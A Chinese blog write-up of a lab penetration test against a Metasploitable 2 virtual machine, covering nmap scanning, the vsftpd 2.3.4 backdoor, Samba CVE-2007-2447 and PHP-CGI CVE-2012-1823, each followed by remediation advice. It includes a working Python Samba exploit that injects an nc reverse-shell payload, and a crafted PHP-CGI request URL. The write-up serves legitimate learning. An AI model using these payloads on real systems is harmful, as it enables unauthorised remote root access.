最近开始了新一轮的护网(HW)行动(互联网上对于该行动相关信息居然很少),作为蓝方的各企事业单位的网络相关部门都被搞得有点人心惶惶的。正好前两天在逛GitHub的时候,发现了一个挺有意思的项目,今天就来试一试它的威力如何。
注意:
本文会使用到一些方法绕过GFW,请在使用互联网时遵守当地的相关法律法规。
本文涉及到渗透和网络攻击行为,请注意在实践过程中的法律问题。
根据《中华人民共和国刑法》第286条:
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处5年以下有期徒刑或者拘役;后果特别严重的,处5年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第1款的规定处罚。
本文仅用作学习用途,请勿在非授权网络环境下实行任何攻击行为。
本文中任何代码仅用于研究学习,严禁用于任何非法用途,作者将不承担任何使用本文代码造成的任何后果。
Metasploitable
Metasploitable是一个操作系统,准确地来讲,是一个经过定制化的、基于Windows或linux(及其各发行版)的系统,该系统安装了许多具有已知漏洞的服务,一般作为靶机以提供网络攻击和渗透测试的环境。
本文使用到的是Metasploitable 2,实际上Metasploitable已经出到3了,但相较于2来说,3放弃了直接提供虚拟机镜像的方式,而使用了Packer、Vagrant等工具,以动态方式创建镜像,该方式的好处在于:动态构建可以灵活地对操作系统进行调整和维护,方便了开源社区的贡献和管理,不过对于使用者来说,就需要多一些步骤来配置VM的构建环境了,我尝试折腾了一下3,卡在了构建中的某一步,构建的过程中需要下载某个服务文件,但是下载的目标地址被墙了,而且下载在虚拟机中通过部署脚本自动进行,无法设置代理,除非直接在路由器中部署代理工具。这一步浪费了挺多时间的,最后也没搞成,所以就还是用2了。
具体的系统下载和虚拟机安装方法不是本文的重点,所以也不在详细描述了,有需要的可以通过上方的超链接,去官方的文档中查看,其写得已经比较清楚了。
Metasploitable 2基于Linux系统的Ubuntu发行版构建。
网络环境
先来介绍一下本次测试的环境。
因为提供的系统文件是VMware虚拟机文件,所以目标机的所有配置都是预置的,其网络使用NAT网络。内网环境IP地址为192.168.152.0/24,攻击机为Windows 10 Workstation系统;目标机为Linux Ubuntu发行版(处于vSphere虚拟环境下),IP地址为192.168.152.130,与攻击机处于同一内网环境下(毕竟是内网渗透嘛:) );攻击机安装了一个基于wsl2的kali子系统,不过由于wsl2的网络模式为NAT,并且处于172.31.105.0/20网段下,所以实际上kali子系统无法直接与目标机通信,虽然也不是没办法(转发、桥接、VPN...),但是懒得折腾了...
信息收集
所谓知己知彼,百战不殆。在准备攻击阶段,信息收集是非常重要的一个步骤,通过收集信息,可以让我们明确目标系统的服务结构,弱点和潜在的渗透点,以此来制定攻击计划,提高渗透的成功率。
首先我们需要确定的是目标的系统服务信息,目前我们只知道目标操作系统IP地址,使用nmap工具对此IP进行扫描,其中nmap工具在之前的文章中已经介绍过了,扫描的命令如下:
1
| nmap -p- -sS -sV -n -v --reason -oX report.xml 192.168.152.130 |
上述参数大部分在之前文章中已经介绍过,这里说几个之前没有提到过的(也有可能提到过但是我忘了:) ):-p-指的是全端口扫面,如果不指定该参数,则nmap只会扫描部分常用端口,--reason是输出状态异常的端口,-n表示不使用DNS解析。
结果如下:
上面展示了目标机开放的所有服务端口,同时还生成了一份xml格式的报告(如果你使用metasploit工具进行漏洞利用,那么可以直接将这个报告导入到工具中,但是我的metasploit在kali子系统中,Windows环境下没有...):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///C:/Penetration/ScanTools/Nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.94 scan initiated Sat Aug 3 21:42:33 2024 as: C:\\Penetration\\ScanTools\\Nmap\\nmap.exe -p- -sS -sV -n -v --reason -oX report.xml 192.168.152.130 -->
<nmaprun scanner="nmap" args="C:\\Penetration\\ScanTools\\Nmap\\nmap.exe -p- -sS -sV -n -v --reason -oX report.xml 192.168.152.130" start="1722692553" startstr="Sat Aug 3 21:42:33 2024" version="7.94" xmloutputversion="1.05">
<scaninfo type="syn" protocol="tcp" numservices="65535" services="1-65535"/>
<verbose level="1"/>
<debugging level="0"/>
<taskbegin task="ARP Ping Scan" time="1722692556"/>
<hosthint><status state="up" reason="arp-response" reason_ttl="0"/>
<address addr="192.168.152.130" addrtype="ipv4"/>
<address addr="00:0C:29:FA:DD:2A" addrtype="mac" vendor="VMware"/>
<hostnames>
</hostnames>
</hosthint>
<taskend task="ARP Ping Scan" time="1722692556" extrainfo="1 total hosts"/>
<taskbegin task="SYN Stealth Scan" time="1722692556"/>
<taskend task="SYN Stealth Scan" time="1722692570" extrainfo="65535 total ports"/>
<taskbegin task="Service scan" time="1722692570"/>
<taskend task="Service scan" time="1722692696" extrainfo="30 services on 1 host"/>
<taskbegin task="NSE" time="1722692696"/>
<taskend task="NSE" time="1722692696"/>
<taskbegin task="NSE" time="1722692696"/>
<taskend task="NSE" time="1722692696"/>
<host starttime="1722692556" endtime="1722692696"><status state="up" reason="arp-response" reason_ttl="0"/>
<address addr="192.168.152.130" addrtype="ipv4"/>
<address addr="00:0C:29:FA:DD:2A" addrtype="mac" vendor="VMware"/>
<hostnames>
</hostnames>
<ports><extraports state="closed" count="65505">
<extrareasons reason="reset" count="65505" proto="tcp" ports="1-20,24,26-52,54-79,81-110,112-138,140-444,446-511,515-1098,1100-1523,1525-2048,2050-2120,2122-3305,3307-3631,3633-5431,5433-5899,5901-5999,6001-6666,6668-6696,6698-8008,8010-8179,8181-8786,8788-35306,35308-41765,41767-44636,44638-51218,51220-65535"/>
</extraports>
<port protocol="tcp" portid="21"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ftp" product="vsftpd" version="2.3.4" ostype="Unix" method="probed" conf="10"><cpe>cpe:/a:vsftpd:vsftpd:2.3.4</cpe></service></port>
<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ssh" product="OpenSSH" version="4.7p1 Debian 8ubuntu1" extrainfo="protocol 2.0" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:openbsd:openssh:4.7p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
<port protocol="tcp" portid="23"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="telnet" product="Linux telnetd" ostype="Linux" method="probed" conf="10"><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
<port protocol="tcp" portid="25"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="smtp" product="Postfix smtpd" hostname=" metasploitable.localdomain" method="probed" conf="10"><cpe>cpe:/a:postfix:postfix</cpe></service></port>
<port protocol="tcp" portid="53"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="domain" product="ISC BIND" version="9.4.2" method="probed" conf="10"><cpe>cpe:/a:isc:bind:9.4.2</cpe></service></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="http" product="Apache httpd" version="2.2.8" extrainfo="(Ubuntu) DAV/2" method="probed" conf="10"><cpe>cpe:/a:apache:http_server:2.2.8</cpe></service></port>
<port protocol="tcp" portid="111"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="rpcbind" version="2" extrainfo="RPC #100000" method="probed" conf="10"/></port>
<port protocol="tcp" portid="139"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="netbios-ssn" product="Samba smbd" version="3.X - 4.X" extrainfo="workgroup: WORKGROUP" method="probed" conf="10"><cpe>cpe:/a:samba:samba</cpe></service></port>
<port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="netbios-ssn" product="Samba smbd" version="3.X - 4.X" extrainfo="workgroup: WORKGROUP" method="probed" conf="10"><cpe>cpe:/a:samba:samba</cpe></service></port>
<port protocol="tcp" portid="512"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="exec" product="netkit-rsh rexecd" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:netkit:netkit</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
<port protocol="tcp" portid="513"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="login" method="table" conf="3"/></port>
<port protocol="tcp" portid="514"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="tcpwrapped" method="probed" conf="8"/></port>
<port protocol="tcp" portid="1099"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="java-rmi" product="GNU Classpath grmiregistry" method="probed" conf="10"/></port>
<port protocol="tcp" portid="1524"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="bindshell" product="Metasploitable root shell" method="probed" conf="10"/></port>
<port protocol="tcp" portid="2049"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="nfs" version="2-4" extrainfo="RPC #100003" method="probed" conf="10"/></port>
<port protocol="tcp" portid="2121"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ftp" product="ProFTPD" version="1.3.1" ostype="Unix" method="probed" conf="10"><cpe>cpe:/a:proftpd:proftpd:1.3.1</cpe></service></port>
<port protocol="tcp" portid="3306"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="mysql" product="MySQL" version="5.0.51a-3ubuntu5" method="probed" conf="10"><cpe>cpe:/a:mysql:mysql:5.0.51a-3ubuntu5</cpe></service></port>
<port protocol="tcp" portid="3632"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="distccd" product="distccd" version="v1" extrainfo="(GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)" method="probed" conf="10"/></port>
<port protocol="tcp" portid="5432"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="postgresql" product="PostgreSQL DB" version="8.3.0 - 8.3.7" method="probed" conf="10"><cpe>cpe:/a:postgresql:postgresql:8.3</cpe></service></port>
<port protocol="tcp" portid="5900"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="vnc" product="VNC" extrainfo="protocol 3.3" method="probed" conf="10"/></port>
<port protocol="tcp" portid="6000"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="X11" extrainfo="access denied" method="probed" conf="10"/></port>
<port protocol="tcp" portid="6667"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="irc" product="UnrealIRCd" hostname="irc.Metasploitable.LAN" method="probed" conf="10"><cpe>cpe:/a:unrealircd:unrealircd</cpe></service></port>
<port protocol="tcp" portid="6697"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="irc" product="UnrealIRCd" hostname="irc.Metasploitable.LAN" method="probed" conf="10"><cpe>cpe:/a:unrealircd:unrealircd</cpe></service></port>
<port protocol="tcp" portid="8009"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ajp13" product="Apache Jserv" extrainfo="Protocol v1.3" method="probed" conf="10"/></port>
<port protocol="tcp" portid="8180"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="http" product="Apache Tomcat/Coyote JSP engine" version="1.1" method="probed" conf="10"><cpe>cpe:/a:apache:coyote_http_connector:1.1</cpe></service></port>
<port protocol="tcp" portid="8787"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="drb" product="Ruby DRb RMI" extrainfo="Ruby 1.8; path /usr/lib/ruby/1.8/drb" method="probed" conf="10"><cpe>cpe:/a:ruby-lang:ruby:1.8</cpe></service></port>
<port protocol="tcp" portid="35307"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="mountd" version="1-3" extrainfo="RPC #100005" method="probed" conf="10"/></port>
<port protocol="tcp" portid="41766"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="nlockmgr" version="1-4" extrainfo="RPC #100021" method="probed" conf="10"/></port>
<port protocol="tcp" portid="44637"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="java-rmi" product="GNU Classpath grmiregistry" method="probed" conf="10"/></port>
<port protocol="tcp" portid="51219"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="status" version="1" extrainfo="RPC #100024" method="probed" conf="10"/></port>
</ports>
<times srtt="2629" rttvar="662" to="100000"/>
</host>
<runstats><finished time="1722692696" timestr="Sat Aug 3 21:44:56 2024" summary="Nmap done at Sat Aug 3 21:44:56 2024; 1 IP address (1 host up) scanned in 143.24 seconds" elapsed="143.24" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun> |
然后再使用 nmap -p- -A --script=vuln -oX report_vul.xml 192.168.152.130 进行一次漏洞扫描,由于漏洞扫描需要运行各种脚本,所以耗时比较长,结果如下(由于wordpress格式限制,所以只能上传doc文档,实际上是xml格式):
通过上面的结果可以看到,扫出来一大堆漏洞(因为本身就是由漏洞组成的系统:) ),下面就挑几个来试试。
CVE-2011-2523
漏洞说明
21端口运行了FTP服务器,服务版本为2.3.4,该版本的vsftpd(Very Secure FTP Daemon)存在一个后门漏洞,漏洞编号:CVE-2011-2523
造成此漏洞的原因并非代码逻辑问题或其他安全原因,而是因为主站点2.3.4版本的vsftpd被故意引入一个后门程序,该后门允许攻击者在连接到 FTP 服务器时,通过特定方式触发。当攻击者在用户名字段输入 :) 时,后门会被激活。激活后门后,FTP 服务会在端口6200上打开一个shell,这使得攻击者可以直接在服务器上执行命令,获得root权限。
由于激活口令是一个笑脸颜文字,所以该漏洞又被称为笑脸漏洞。
漏洞利用
在理解了漏洞原理后,尝试对该漏洞进行利用。
在上面的nmap扫描结果中显示,6200端口当前为关闭状态。
通过netcat连接到目标机21端口,并通过任意以:)结尾的用户名,以及任意密码进行登录:
然后打开一个新的终端,使用nmap扫描6200端口,发现该端口已经开启:
使用nc连接该端口,成功getshell,并取得root权限:
使用exit退出shell,或断开FTP连接后,重新扫描6200端口,发现该端口已经关闭。
是的,有些时候入侵一台计算机就是这么简单( 开发者里面有坏人啊:( ),像这种类型的漏洞并不少,比如前段时间xz项目也被供应链投毒,植入后门,并影响两个版本,该后门漏洞编号为:CVE-2024-3094,不过好在该漏洞引发了性能问题,因此在传播早期被研究人员查出,再加上一般部署服务的服务器不会轻易对该模块进行升级,所以没有造成什么大的危害。
对于这种漏洞,修复方式为降低或更新软件版本,避免使用受后门影响的版本,并且在防火墙禁用不需要使用的端口号,对于FTP服务来说,如果无需用到,最好也在防火墙上关闭21端口。
CVE-2007-2447
漏洞说明
Samba是一个开源软件,它可以跨平台(比如Linux系统和Windows系统间)共享文件,方便用户在网络中访问和管理共享资源。目标机部署的 Samba smbd 3.X - 4.X 版本,可能存在shell命令注入漏洞,漏洞编号:CVE-2007-2447。
Samba服务在处理 MS-RPC(Microsoft Remote Procedure Call) 请求时,没有对用户输入进行适当的验证和过滤,导致攻击者可以通过特殊的构造请求注入恶意命令,samba将这些命令传输给/bin/sh,以达到getshell的目的。
具体地讲,当 smb.conf 中调用非默认的 username map script 配置选项时,在客户端向samba服务器发送连接请求时,MS-RPC将未经过过滤的用户输入的字符串发送到/bin/sh,由于该漏洞利用发生在服务器接收用户验证信息的阶段,所以实际上利用此漏洞无需进行真正的身份验证。
漏洞利用
在理解了漏洞原理后,尝试对该漏洞进行利用。
我们可以通过发送身份验证的payload来使得samba服务器通过/bin/sh执行我们的任何命令,但该命令执行只是一次性的,且无法接收到返回数据,所以我们可以通过nc工具来构造反向shell,以此达到长期的getshell。
首先构造利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import click
import sys
from smb.SMBConnection import SMBConnection
def exploit(rhost, rport, lhost, lport):
# payload说明:
# 首先创建一个命名管道pipe, 然后使用nc连接到攻击者的监听地址和端口, 并将nc的标准输入重定向到pipe管道, 运行/bin/sh,
# 然后将sh的所有输出输出到管道pipe上, 最后在退出时删除管道。通过以上操作来达到反向shell的目的
payload = 'mkfifo /tmp/pipe; nc ' + lhost + ' ' + lport + ' 0</tmp/pipe | /bin/sh >/tmp/pipe 2>&1; rm /tmp/pipe'
username = "/=`nohup " + payload + "`"
conn = SMBConnection(username, "", "", "")
try:
conn.connect(rhost, int(rport), timeout=1)
except:
print("Payload注入完成")
@click.command()
@click.option('--rhost', help='目标host')
@click.option('--rport', help='目标端口, 一般samba服务端口为139')
@click.option('--lhost', help='nc 监听host')
@click.option('--lport', help='nc 监听端口')
def main(rhost, rport, lhost, lport):
print("[CVE-2007-2447] Samba Shell命令注入漏洞利用程序")
exploit(rhost, rport, lhost, lport)
if __name__ == '__main__':
main() |
代码很简单,并且里面也写了比较详细的注释,这里就不再单独解释了。
构造完利用脚本后,需要在本地攻击机上启用一个nc监听端口:
上面这段命令的几个参数的作用分别是 -l: 监听模式; -n: 禁止dns; -v: 启用详细输出; -p: 指定监听端口号。执行这段命令后,攻击机会在4444端口开始监听。
随后执行exp脚本,注入成功后4444端口会监听到接入:
此时可以在nc监听的窗口执行shell命令,成功getshell,并取得root权限:
使用exit退出shell后,服务器上的管道会被删除。
实际上在现实世界的(好吧,其实现在在做的就是现实世界的)渗透当中,有许多漏洞利用方法与该漏洞类似,比如sql注入攻击、XSS注入攻击包括php和python的eval()函数等等,这些出现问题都是因为对用户发送的字符串过滤不严,导致程序将用户发送的字符串作为代码进行运行,以达到攻击者攻击的目的。
说实话,对于这种漏洞,防御者只能像猫捉老鼠一样见招拆招,没有办法达到绝对的防御(除非用户在输入任意内容后都先由人工进行审核?),但是随着防御方法越来越多,攻击者绕过的方法也更是越来越复杂和难以过滤,这种情况下只能尽可能降低相关代码的执行权限,减少类似/bin/sh或eval()这种程序或函数的使用。
CVE-2012-1823
漏洞说明
目标机在80端口部署的PHP服务版本为5.2.4,该版本PHP存在rce(远程代码执行)漏洞,漏洞编号为:CVE-2012-1823。
同时,访问链接 http://192.168.152.130/index.php?-s 成功输出源码,验证漏洞确实存在。
造成该漏洞的原因是PHP-CGI模式下处理查询字符串参数时的一个设计缺陷,该漏洞允许攻击者通过构造特殊的URL来执行任意命令。
PHP在CGI模式下运行时,可以通过查询字符串(Query String)传递一些参数来影响PHP的行为。这些参数通常是以-或--开头的选项。在特定条件下,如果未正确过滤和处理这些参数,攻击者可以通过在URL中加入特定的参数来绕过正常的PHP执行过程,从而执行任意命令。具体地讲,漏洞出现在PHP-CGI对查询字符串处理时未能正确过滤特殊参数,导致攻击者可以通过URL传递非法参数来控制PHP的行为。
漏洞利用
这是一个很简单的web漏洞,根据这个原理,我们可以对这个漏洞进行利用。
我们可以通过特意构建的请求参数,让PHP在处理时允许通过URL包含PHP文件,然后通过请求body将我们希望执行的php代码注入到页面当中。
本来”让PHP在执行任何脚本之前先包含一个文件“这个功能应该在php配置文件(php.ini)中进行的,但我们可以利用该漏洞,通过 -d auto_prepend_file= 参数来动态开启。配合 auto_prepend_file=php://input 我们可以将需要执行的php代码嵌入到请求体中。
构造如下请求语句:
1
| http://192.168.152.130/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input |
这段请求语句中, -d auto_prepend_file= 表示让PHP在执行脚本之前首先包含并执行指定的文件, php://input 是一个PHP的输入流封装协议,它允许访问请求的原始数据。通过该语句,我们可以让页面执行我们提交的body中的php代码:
结合上面用到过的nc反向shell我们可以尝试通过该漏洞构造payload并getshell:
当然,你也可以直接通过echo来回显shell的内容:
修复和预防该漏洞的方式:通过更新PHP版本以修复该漏洞;为防止出现安全隐患,可以尽量避免使用CGI模式,可以使用FPM等更安全的模式;尝试在Web服务器配置中禁止解析以-d、-c开头的查询字符串参数,防止通过请求进行临时配置修改;最后,检查php.ini中的配置是否安全。
还是那句话,要防范此类攻击,或降低攻击影响,可以尽可能降低相关代码的执行权限。及时关注厂商发布的补丁程序,尽量不使用有安全隐患的方式运行服务(比如说PHP-CGI这种)。
简单总结
上面实现了几个简单的漏洞利用,本来还想多做几个的,但是实际上利用过程都大同小异,还有很多是弱密码和后门类,这两类做起来没啥意思(不过最主要还是因为我懒得继续写了...)
总之,在解决了我随机找的几个漏洞后,我用Nessus工具进行了更加全面的漏洞分析,总共扫出92各漏洞:
这次选了几个比较简单也比较常见的类型的漏洞进行测试,后续(如果我记得?)我还会去做一些其他类型的漏洞复现和一些比较高级的玩法。
这次在测试的过程中,通过互联网找了不少资料,有很多人写过metasploitable 2相关的文章,但是全部都是使用使用metasploit框架和预置攻击脚本来做的。几乎所有文章的内容都可以总结为:启动metasploit->搜索攻击脚本->配置参数->漏洞利用。反正我是想不到这种东西有啥好写的,一没有攻击原理,二没有攻击过程,甚至好多文章连漏洞编号都没有一个。甚至于连本文中提到过的类似CVE-2012-1823这种只需要发一次请求的漏洞都是拿着人家写好的脚本一跑就完事了...?
总之,随着互联网发展越来越快,网络安全也尤为重要,这年头啥信息都往网上放,个人隐私信息早被各大厂商的服务器给存完了,一旦被渗透,就有可能产生数据泄露(不过实际上近几年比较大型的数据泄露都是管理问题造成的,没几个是真的被攻破服务器的)。做好网络安全防护,对自己负责,更是对用户负责。